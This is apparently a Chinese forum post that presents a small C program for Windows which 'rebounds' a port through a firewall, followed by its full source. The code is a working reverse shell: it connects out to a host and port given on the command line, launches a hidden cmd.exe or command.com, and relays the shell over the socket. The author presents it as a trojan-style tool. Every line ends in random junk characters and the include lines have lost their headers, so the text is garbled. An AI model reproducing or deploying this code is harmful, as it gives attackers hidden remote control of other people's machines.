Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Q
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/* ============================== R~bLEo  
Rebound port in Windows NT efh1-3f  
By wind,2006/7 :$QwOz^N*  
===============================*/ 5hB2:$C  
#include ~5Rh7   
#include 7.C]ZcU  
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#pragma comment(lib,"wsock32.lib") ,-> P+m5  
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void OutputShell(); Kw>gg  
SOCKET sClient; YC}$O2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;~s@_}&  

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void main(int argc,char **argv) H/ub=,Ej*  
{ S*rcXG6Q^  
WSADATA stWsaData; =k+i5:@]  
int nRet; n6*; ~h5  
SOCKADDR_IN stSaiClient,stSaiServer; r3.v^  
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if(argc != 3) >2)!w  
{ ^[zF IO  
printf("Useage:\n\rRebound DestIP DestPort\n"); 7M9s}b%?  
return; "2@Ys*e  
} $w<~W1\:  
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WSAStartup(MAKEWORD(2,2),&stWsaData); J15$P8J  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v aaZ  
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stSaiClient.sin_family = AF_INET; s[@@INU  
stSaiClient.sin_port = htons(0); SHPZXJ{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z9KsSlS ^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Th*mm3D6  
{ %K]nX#.B&  
printf("Bind Socket Failed!\n"); dzMI5fA<_  
return; uO-R:MC  
} ';7|H|,F
 
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stSaiServer.sin_family = AF_INET; UJF }Ye  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %x7l`.)N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L9U<E $%#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AuYi$?8|5  
{ HM1y$ej  
printf("Connect Error!"); VbX$i!>8  
return; P6 G/J-  
} ]QU52R@M  
OutputShell(); 2=N
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} 9~mi[l~  
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void OutputShell() +e"}"]n  
{ p:ST$1 K  
char szBuff[1024]; et]*5Y6  
SECURITY_ATTRIBUTES stSecurityAttributes; Q<``}:y|>  
OSVERSIONINFO stOsversionInfo; |,&!Q$<un  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +CNRSq"  
STARTUPINFO stStartupInfo; FZmYv%J  
char *szShell; c\4n7m,y  
PROCESS_INFORMATION stProcessInformation; Bv@m)$9\+3  
unsigned long lBytesRead; HNuwq\w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {Q(6 .0R  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NV-9C$<n2!  
stSecurityAttributes.lpSecurityDescriptor = 0; Ef`LBAfOO  
stSecurityAttributes.bInheritHandle = TRUE;

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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pmW=l/6+V3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -;`W"&`ss  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); UXk8nH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e<^4F%jSK  
stStartupInfo.wShowWindow = SW_HIDE; fF[g%?w  
stStartupInfo.hStdInput = hReadPipe; C${TC+z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4QZy-a*tA  
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GetVersionEx(&stOsversionInfo); 4COf H7Al9  
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switch(stOsversionInfo.dwPlatformId) }\*Sf[EMD  
{ [sk"2  
case 1: "&+0jfLY+  
szShell = "command.com"; GKd>AP_  
break; z"O-d<U5  
default: #EM'=Q%TO  
szShell = "cmd.exe"; Ul'G g  
break; er#=xqUY  
} %ej"ZeM  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Elq8WtS  
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send(sClient,szMsg,77,0); 8Z!ea3kAT  
while(1) DJW1kR  
{ j&mL]'Zy  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5~X%*_[],  
if(lBytesRead) o_N02l4J)  
{ 09?<K)_G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *Sf^()5C,  
send(sClient,szBuff,lBytesRead,0); UiEB?X]-l'  
} C/Z"W@7#;  
else N.`]D)57  
{ e4b~s  
lBytesRead=recv(sClient,szBuff,1024,0); nJya1AH;  
if(lBytesRead<=0) break; h5gXYmk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); m&%b;%,J  
} 4dK@UN\  
} Vwqfn4sx?i  
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return; :jX~]1hpmA  
}